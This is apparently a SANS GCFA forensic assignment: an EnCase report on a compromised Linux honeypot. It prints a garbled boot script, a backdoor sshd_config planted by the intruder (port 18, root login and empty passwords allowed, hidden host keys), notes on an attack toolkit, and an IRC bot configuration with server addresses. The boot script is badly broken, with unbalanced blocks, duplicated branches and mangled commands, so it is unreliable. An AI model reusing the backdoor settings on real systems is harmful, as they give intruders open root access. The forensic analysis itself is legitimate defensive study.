    /etc/sysconfig/console/$SYSFONT.gz
    /usr/lib/kbd/consolefonts/$SYSFONT.gz
    /lib/kbd/consolefonts/$SYSFONT.gz
    /lib/kbd/consolefonts/$SYSFONT.psf.gz ]; then
    action "$LOADING default font ($SYSFONT): " /sbin/setsysfont
  fi
fi

# Start up swapping.
action "$ACTIVATING swap partitions: " swapon -a -e

# Set the hostname.
action "$SETTING hostname ${HOSTNAME}: " hostname ${HOSTNAME}

# Initialize USB controller and HID devices
usb=0
if ! grep -iq "nousb" /proc/cmdline 2>/dev/null &&
   grep -q "usb" /proc/devices 2>/dev/null ;
then
  aliases="/sbin/modprobe -c | awk '/alias usb-controller/ { print $3 }'
  if [ -n "$aliases" -a "$aliases" != "off" ];
    modprobe usbcore
    action "$MOUNTING USB filesystem: " mount -t usbdevfs usbdevfs /proc/bus/usb
  fi
fi
for alias in $aliases; do
    [ "$alias" != "off" ] && action "$alias": "modprobe $alias"
done
    [ $? -eq 0 -a -n "$aliases" ] && usb=1
fi
fi

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null; then
    usb=1
fi

needusbstorage=
if [ $usb = "1" ]; then
    sleep 5
    mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=02"`
    kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=01"`
    needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e "^I.*Cls=08"`
    if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
        action "$alias": "modprobe hid 2>
    fi
    if [ -n "$kbdoutput" ]; then
        action "$alias": "modprobe keybdev"
    fi
    if [ -n "$mouseoutput" ]; then
        action "$alias": "modprobe mousedev"
    fi
fi

if [ ! -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null; then
    fastboot=Yes
    else
    fastboot=
fi

if [ ! -f /fsckoptions ]; then
    fsckoptions=`cat /fsckoptions`
else
    fsckoptions=
fi

if [ ! -f /forcefsck ]; then
    fsckoptions="-f $fsckoptions"
elif [ ! -f /.autofsck ]; then
    echo "$sysctl kern.autofsck="echo $fsckoptions"
else
    echo $fsckoptions="-f $fsckoptions"
elif [ ! -f /fastboot ]; then
    echo "$sysctl kern.autofsck="echo $fsckoptions"
else
    echo $fsckoptions="-f $fsckoptions"
elif [ ! -f /forcefsck ]; then
    echo "$sysctl kern.autofsck="echo $fsckoptions"
else
    echo $fsckoptions="-f $fsckoptions"
elif [ ! -f /fastboot ]; then
    echo "$sysctl kern.autofsck="echo $fsckoptions"
else
    echo $fsckoptions="-f $fsckoptions"
elif [ ! -f /forcefsck ]; then
    echo "$sysctl kern.autofsck="echo $fsckoptions"
else
    echo $fsckoptions="-f $fsckoptions"
# PROMPT not allowed
if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
    echo "$forcing file system integrity check due to default setting"
else
    echo "$Not forcing file system integrity check due to default setting"
fi
fi
fsckoptions="$AUTOFSCK_OPT $fsckoptions"
fi

if [ "$ROOTUP" = "color" ]; then
    fsckoptions="-C $fsckoptions"
else
    fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
ROOTFSTYPE=`grep " / " /proc/mounts | awk '{ print $3 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
    STRING=$"Checking root filesystem"
echo "$STRING"
initlog -c "fsck -T -a $fsckoptions /"
rc=$?
if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
    fi
    # A return of 2 or higher means there were serious problems.
if [ "$rc" -gt 1 ]; then
    failure "$STRING"
echo
echo echo $*** An error occurred during the file system check."
echo $*** Dropping you to a shell; the system will reboot"
echo $*** when you leave the shell."
PS1=$"("Repair filesystem") "; export PS1
sulogin
echo "$Unmounting file systems"
umount -a
    mount -o remount,ro /
echo "$Automatic reboot in progress."
reboot -f
eelif [ "$rc" = "1" ]; then
    _RUN_QUOTACHECK=1
fi
fi

# Possibly update quotas if fsck was run on ./.
grep -E "^[[:space:]]+[[:space:]]+$" /etc/fstab | 
    awk '{ print $4 }' | 
    grep -q quota
_ROOT_HAS_QUOTA=$?
if [ $_RUN_QUOTACHECK -a 
    "$ROOT_HAS_QUOTA" -a 
    "-x /sbin/quotacheck" ]; then
    if [ -x /sbin/quotacheck ]; then
        action "$Converting old user quota files: 
        /sbin/quotacheck -u / && rm -f /quota.user
    fi
if [ -f /quota.group ]; then
    action "$"Converting old group quota files: " /sbin/convertquota -g / && rm -f /quota.group
fi

action "$"Checking root filesystem quotas: " /sbin/quotacheck -nu /

# check for arguments passed from kernel
if grep -iq nogroup /proc/cmdline >/dev/null 2>&1 ; then
    PNP=
else
    PNP=yes
fi

# set up pnp
if [ -x /sbin/isapnp -a -F /etc/isapnp.conf -a ] -f /proc/isapnp ]; then
    if [ -n "$PNP" ]; then
        action "$"Setting up ISA PNP devices: " /sbin/isapnp /etc/isapnp.conf
    else
        action "$"Skipping ISA PNP configuration at users request: " /bin/true
    fi
fi

# Remount the root filesystem read-write.
state=`awk '/(^/dev/root|/ )/ { print $4 }' /proc/mounts` | grep- "rw" ] &&
action "$"Remounting root filesystem in read-write mode: " mount -n -o remount,rw /

# LVM initialization
if [ -e /proc/lvm -a -x /sbin/vgchange -a -F /etc/lvmtab ]; then
    action "$"Setting up Logical Volume Management:" /sbin/vgscan && /sbin/vgchange -a y
fi

# Clear mtab
> /etc/mtab

# Remove stale backups
rm -f /etc/mtab~ /etc/mtab~~

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -F /
mount -F /proc
[ -f /proc/bus/usb/devices ] && mount -t usbdevfs usbdevfs /proc/bus/usb
[ -e /dev/.devfsd ] && mount -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
    IN_INITLOG=
fi

if ! grep -iq nomodu les /proc/cmdline >/dev/null 2>&1 && [ -f /proc/ksyms ]; then
    USEMODULES=y
else
    USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [ -x /sbin/depmod -a -n "$USEMODULES" ]; then
    # If they aren't using a recent sane kernel, make a link for them
    if [ ! -n "$uname -r" grep -- "-.*" ]; then
        ktag="`cat /proc/version`"
        mtag=`grep -l "$ktag" /lib/modules/*/.rhkmvtag 2> /dev/null`
        ln -s $mtag /lib/modules/*.rhwkmvtag
    fi
fi
if [ -n "$mtag" ]; then
  mver=`echo $mtag | sed -e 's,/lib/modules/,,' -e 's/,.rhkmvtag,,' -e 's,[ ]*,\[\]s,'`
  fi
if [ -n "$mver" ]; then
  ln -sf /lib/modules/$mver /lib/modules/default
fi
if [ -L /lib/modules/default ]; then
  INITLOG_ARGS= action "$Finding module dependencies: " depmod -A default
else
  INITLOG_ARGS= action "$Finding module dependencies: " depmod -A
fi
fi

# tweak isapnp settings if needed.
if [ -n "$PNP" -a -f /proc/isapnp -a /sbin/sndconfig ]; then
  /sbin/sndconfig --mungepnp >/dev/null 2>&1
fi

# Load sound modules if they need persistent DMA buffers
if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null ; then
  RETURN=0
  alias="/sbin/modprobe -c | awk '/^alias sound / { print $3 }'"
  if [ -n "$alias" ]; then
    action "$Loading sound module ($alias): " modprobe sound
    RETURN=$?
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
fi

if [ -f /proc/sys/kernel/modprobe ]; then
  if [ -n "$USEMODULES" ]; then
    sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
  else
    # We used to set this to NULL, but that causes 'failed to exec' messages
    sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
  fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
  /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
  modprobe md >/dev/null 2>&1
fi

if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
  echo -n "$Starting up RAID devices: "
  rc=0
  for i in `grep "^[^\"]*raiddev" /etc/raidtab | awk '{print $2}'`
  do
    RAIDDEV=`basename $i`
    RAIDSTAT=`grep "^[^\"]*raiddev : active" /proc/mdstat`
    if [ -z "$RAIDSTAT" ]; then
      # First scan the /etc/fstab for the "noauto"-flag
      # for this device. If found, skip the initialization
      # for it to avoid dropping to a shell on errors.
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^$i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV (skipped)"
fi
if [ $RESULT -gt 0 -a -x /sbin/raidstart ]; then
  /sbin/raidstart $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raid0run ]; then
  /sbin/raid0run $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raidadd -a -x /sbin/raidrun ]; then
  /sbin/raidadd $i
  /sbin/raidrun $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  rc=1
  echo
  echo "$RAIDDEV"
else
  echo "$RAIDDEV"
fi
done
echo

# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
  echo
  echo "*** An error occurred during the RAID startup"
  echo "*** Dropping you to a shell; the system will reboot"
  echo "*** when you leave the shell."

  PS1="(RAID Repair) # # "; export PS1
  sulogin
  echo "Unmounting file systems"
  umount -a
  mount -n -o remount,ro /
  echo "Automatic reboot in progress."
  reboot -f
fi

# LVM initialization, take 2 (it could be on top of RAID)
if [ -e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action "$Setting up Logical Volume Management:" /sbin/vgscan & & /sbin/vgchange -a y
fi

_RUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
  STRING="Checking filesystems"
  echo "$STRING"
  initlog -c "$fsck -T -R -A -a $fsckoptions"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi

  if [ $rc -gt 0 ]; then
    echo "$RAIDDEV"
  else
    echo "$RAIDDEV"
fi

# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
  failure "$STRING"
  echo
  echo "$STRING An error occurred during the file system check."
  echo "$STRING Dropping you to a shell; the system will reboot"
  echo "$STRING when you leave the shell."

PS1="";
export PS1

su

login

echo "$STRING Unmounting file systems"

rm -a

mount -o ro

if [ "Automatic reboot in progress." ]; then
  echo "$STRING Unmounting file systems"
  umount -a

  mount -o remount,ro /

elif [ "$rc" = "1" ]; then
  _RUN_QUOTACHECK
fi

fi

# Mount all other file systems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage,
# file systems are NOT unmounted in single user mode.

action "$STRING Mounting local file systems: " mount -a -t

for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`
  do
    if [ ! -f "$mountpt/quota.user" ]; then
      action "$STRING Converting old user quota files: "
      /sbin/convertquota -u $mountpt &&
      rm -f $mountpt/quota.user
    fi

    if [ ! -f "$mountpt/quota.group" ]; then
      action "$STRING Converting old group quota files: "
      /sbin/convertquota -g $mountpt &&
      rm -f $mountpt/quota.group
    fi
  done

action "$STRING Checking local filesystem quotas: " /sbin/quotacheck -aRnug

fi

if [ ! -x /sbin/quotamon ]; then
  action "$STRING Enabling local filesystem quotas: " /sbin/quotamon -a
fi

# Configure machine if necessary.
if [ -f /.unconfigured ]; then
  if [ ! -x /usr/bin/passwd ]; then
    /usr/bin/passwd root
  fi
  if [ ! -x /usr/sbin/netconfig ]; then
    /usr/sbin/netconfig
  fi
  if [ ! -x /usr/sbin/timeconfig ]; then
    /usr/sbin/timeconfig
  fi
  if [ ! -x /usr/sbin/kbdconfig ]; then
    /usr/sbin/kbdconfig
  fi
  if [ ! -x /usr/sbin/authconfig ]; then
    /usr/sbin/authconfig --nostart
fi
EnCase Computer Analysis Report

# EnCase Computer Analysis Report

```
fi
if [ -x /usr/sbin/ntsysv ]; then
    /usr/sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ ! -f /etc/sysconfig/network ]; then
    . /etc/sysconfig/network

# Reset the hostname.
action "$Resetting hostname ${HOSTNAME}: " hostname ${HOSTNAME}
fi

rm -f /.unconfigured
fi

# Clean out /etc.
rm -f /fastboot /etcfsckoptions /forcefsck /autosfck /halt /poweroff

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...
_NEED_XFILES= [ -f /var/run/utmpx ] && _NEED_XFILES=1

# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
    if [ -d "$afile" ]; then
        if [ "basename $afile" != "news" -a "basename $afile" != "sudo" -a "basename $afile" != "mon" ]; then
            rm -f $afile/
        else
            rm -f $afile
        fi
    fi
done

rm -f /var/lib/rpm/__db*

# Reset pam_console permissions
[ -x /sbin/pam_console_apply ] && /sbin/pam_console_apply -r

# Clean up utmp/wtmp
>/var/run/utmp
touch /var/log/wtmp
chgrp utmp /var/run/utmp /var/log/wtmp
chmod 0664 /var/run/utmp /var/log/wtmp
if [ -n "$_NEED_XFILES" ]; then
    /var/run/utmp
    touch /var/log/wtmp
    chgrp utmp /var/run/utmp /var/log/wtmp
    chmod 0664 /var/run/utmp /var/log/wtmp
fi

# Delete X locks
rm -f /tmp/.X*~lock

# Delete VNC & X locks
rm -rf /tmp/.X*~unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL.*

# Now turn on swap in case we swap to files.
swapon -a
action "$Enabling swap space: " /bin/true

# Initialize the serial ports.
if [ -f /etc/rc.serial ]; then
    . /etc/rc.serial
fi
```
# If a SCSI tape has been detected, load the st module unconditionally
# since many SCSI tapes don't deal well with st being loaded and unloaded
if [-f /proc/scsi/scsi ] && grep -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
  if grep -qv ' 9 st' /proc/devices ; then
    # Try to load the module. If it fails, ignore it...
    insmod -p st </dev/null 2>&1 && modprobe st </dev/null 2>&1
  fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ]; then
  modprobe usb-storage </dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
  modprobe ide-cd </dev/null 2>&1
  modprobe ide-scsi </dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [-e /sbin/hdparm ]; then
  for N in `grep -v "ide-disk" /proc/ide/*/*/driver 2>/dev/null | awk '/ { print $5 }'`; do
    hdparm -q -d0 /dev/$N </dev/SN >/dev/null 2>&1
  done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/hard diskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
#
disk[0]=s;

if [ -x /sbin/hdparm ] ; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
    unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [ -f /etc/sysconfig/harddisk$[disk[$device]] ]; then
      . /etc/sysconfig/harddisk$[disk[$device]]
      HDFLAGS[$device]=
      if [ -n "$MULTIPLE_IO" ]; then
        HDFLAGS[$device]="-q -m$MULTIPLE_IO"
      fi
      if [ -n "$USE_DMA" ]; then
        HDFLAGS[$device]=$[HDFLAGS[$device]] -q -d$USE_DMA
      fi
      if [ -n "$EIDE_32BIT" ]; then
        HDFLAGS[$device]=$[HDFLAGS[$device]] -q -c$EIDE_32BIT
      fi
      if [ -n "$LOOKAHEAD" ]; then
        HDFLAGS[$device]=$[HDFLAGS[$device]] -q -a$LOOKAHEAD
      fi
      if [ -n "$EXTRA_PARAMS" ]; then
        HDFLAGS[$device]=$[HDFLAGS[$device]] $EXTRA_PARAMS
      fi
    else
      HDFLAGS[$device]="$[HDFLAGS[$device]] $EXTRA_PARAMS"
  fi
fi

else

fi
HDFLAGS[$device]="${HDFLAGS[0]}"
fi
if [-e /proc/ide/$disk/$disk/media ]; then
    hdmedia=`cat /proc/ide/$disk/$disk/media`
    if [ "$hdmedia" = "disk" ]; then
        if [ -n "$HDFLAGS[$device]" ]; then
            action "Setting hard drive parameters for $disk:"
            /sbin/hdparm $HDFLAGS[$device] /dev/$disk
        fi
    fi
fi
done

# Generate a header that defines the boot kernel.
/sbin/mkconfig

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [-L /boot/System.map -a -r /boot/System.map -uname -r ] ; then
    ln -s -f System.map -uname -r /boot/System.map
fi
if [ ! -e /boot/System.map -a -r /boot/System.map -uname -r ] ; then
    ln -s -f System.map -uname -r /boot/System.map
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/$(uname -r)/libredhat-kernel.so* ; do
    ln -s -f $library /lib/
done
shopt -u nullglob

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
# dmesg -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ] ; do
    if [ ! -f /var/log/ksyms.$i ] ; then
        mv /var/log/ksyms.$i /var/log/ksyms.($i+1)
    fi
    i=$((i-1))
done

/bin/date;
/bin/uname -a;
/bin/cat /proc/cpuinfo;
[ -r /proc/modules ] && /bin/cat /proc/modules;
[ -r /proc/ksyms ] && /bin/cat /proc/ksyms >/var/log/ksyms.0
# create the crash indicator flag to warn on crashes, offer fsck with timeout
touch ~/.autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1
&
if [ "$PROMPT" != "no" ]; then
    /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name  sshd_config
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\sbin\sshd_config
Entry Modified  06/29/03 03:25:20PM
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value ce630951c72096d9ef1d3b12f309b281
Physical Size 1,024
Logical Size 707

Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

Config files

httpd configuration files

40) Name access.conf
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\access.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value 5cfc0c5e40cc02e415b7bd1c6f325eed
Physical Size 1,024
Logical Size 285

41) Name httpd.conf
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf
Entry Modified 06/27/03 02:11:35PM
Last Accessed 06/29/03 04:02:23AM
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

42) Name  srm.conf
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf
Entry Modified  06/20/03 02:17:32AM
Last Accessed  06/29/03 04:02:23AM
Last Written  04/09/02 12:56:58PM
Hash Value  b0366af9aad99e07515bbdc255e9a23
Physical Size  1,024
Logical Size  22,289

43) Name  httpd.conf.bak
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
Entry Modified  06/27/03 02:08:34PM
Last Accessed  06/27/03 02:08:34PM
Last Written  04/09/02 12:56:58PM
Hash Value  55d44549fa2d844e59257b0f6286e197
Physical Size  52,224
Logical Size  51,270

**Root kit files**

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

**samba.tgz files**

44) Name  samba.tgz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified  06/29/03 03:41:42PM
Last Accessed  06/29/03 03:41:56PM
Last Written  04/29/03 06:48:30AM
Hash Value  4c41dbabb341cf57e56c0394d6efc3d3
Physical Size  13,312
Logical Size  13,183

The samba.tgz files are used to assess and attack other hosts.

**These files are the IRC server software files.**

45) Name  README
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\README
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:34:10PM

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>LinkEvents</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font- unix/.X11-pipe/LinkEvents</td>
<td>06/29/03 03:43:55PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:43:55PM</td>
<td>a20fef753ecc02a2a21d18bcfe466808</td>
<td>1,024</td>
<td>80</td>
</tr>
<tr>
<td>mech.set</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font- unix/.X11-pipe/mech.set</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>01/29/03 05:11:38PM</td>
<td>d09d745a3eebdbec553e943a1c68f98e</td>
<td>2,048</td>
<td>1,150</td>
</tr>
<tr>
<td>checklpd</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font- unix/.X11-pipe/checklpd</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>ff23e76196e178c1c6e6a61d7718</td>
<td>1,024</td>
<td>942</td>
</tr>
<tr>
<td>lpdusr</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font- unix/.X11-pipe/lpdusr</td>
<td>06/29/03 07:00:27PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 07:00:27PM</td>
<td>e64ef3d3d690630d1cdcea47593ee9e8</td>
<td>1,024</td>
<td>352</td>
</tr>
<tr>
<td>M4c4r0n.seen</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font- unix/.X11-pipe/M4c4r0n.seen</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:20:20PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment: EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>472</td>
<td>0</td>
</tr>
</tbody>
</table>

### 51) Name: configure

**Description:** File

**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\fonts-unix\X11-\pipe\configure

**Entry Modified:** 06/29/03 03:32:50PM

**Last Accessed:** 06/29/03 03:34:10PM

**Last Written:** 10/09/00 06:22:02PM

**Hash Value:** 2b3e48069a3d8040311204acc1a4224b

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>20,480</td>
<td>20,290</td>
</tr>
</tbody>
</table>

### 52) Name: MrIdiot.seen

**Description:** File

**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\fonts-unix\X11-\pipe\MrIdiot.seen

**Entry Modified:** 06/29/03 07:10:27PM

**Last Accessed:** 06/29/03 03:35:40PM

**Last Written:** 06/29/03 07:10:27PM

**Hash Value:** 938fa960b7f4f7e28ed7f8e35cab9a4

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>1,024</td>
<td>148</td>
</tr>
</tbody>
</table>

### 53) Name: mech.levels

**Description:** File

**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\fonts-unix\X11-\pipe\mech.levels

**Entry Modified:** 06/30/03 04:00:00PM

**Last Accessed:** 06/29/03 03:34:40PM

**Last Written:** 06/30/03 04:00:00PM

**Hash Value:** dc8afcc07717b771f9129b26c033d311

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>2,048</td>
<td>1,085</td>
</tr>
</tbody>
</table>

### 54) Name: mech.pid

**Description:** File

**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\fonts-unix\X11-\pipe\mech.pid

**Entry Modified:** 06/29/03 03:32:59PM

**Last Accessed:** 06/29/03 03:34:10PM

**Last Written:** 06/29/03 03:32:59PM

**Hash Value:** 01548d5a5a9e4256f86046ded9f8b8

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>1,024</td>
<td>6</td>
</tr>
</tbody>
</table>

### 55) Name: mech.session

**Description:** File

**Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\fonts-unix\X11-\pipe\mech.session

**Entry Modified:** 06/30/03 04:00:00PM

**Last Accessed:** 06/29/03 04:00:24PM

**Last Written:** 06/30/03 04:00:00PM

**Hash Value:** e5da1d9a1274662cbb1a181c00e66c875

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>1,024</td>
<td>1,024</td>
</tr>
</tbody>
</table>
Logical Size 374

Comment: IRC server config file.

```plaintext
linkport -l

nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
toggle #select

tog AOP 1
tog PROT 1
toggle #rabbit

tog AOP 1
tog PROT 1
toggle #bash-2.05a$

set MDL 4
set MPL 2
tog AOP 1
tog SHIT 1
tog PROT 1

server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667
```

56) Name VERSIONS
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/VERSIONS
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 11/08/00 12:44:24AM
Hash Value 294ba201b5a8be025604510a951c5f50
Physical Size 26,624
Logical Size 25,722

57) Name randinsult.e
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/randfiles/randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e068376627b4e9c36ebc9f7
Physical Size 4,096
Logical Size 3,982

58) Name randnicks.e
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix.X11-pipe/randfiles/randnicks.e
Entry Modified 06/29/03 03:32:50PM
EnCase Computer Analysis Report

59) Name: randsay.e
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: 9877c324eb9b24b5464f9e3fe4176460
   Physical Size: 1,024
   Logical Size: 519

60) Name: randversions.e
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: 33ea5ec3e5dc626799b5bb567f06d217
   Physical Size: 56,320
   Logical Size: 55,316

61) Name: com-ons.c
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 02/27/01 07:14:04AM
   Hash Value: daf8812cc62b784f6d5a10ef388288d7
   Physical Size: 28,672
   Logical Size: 28,470

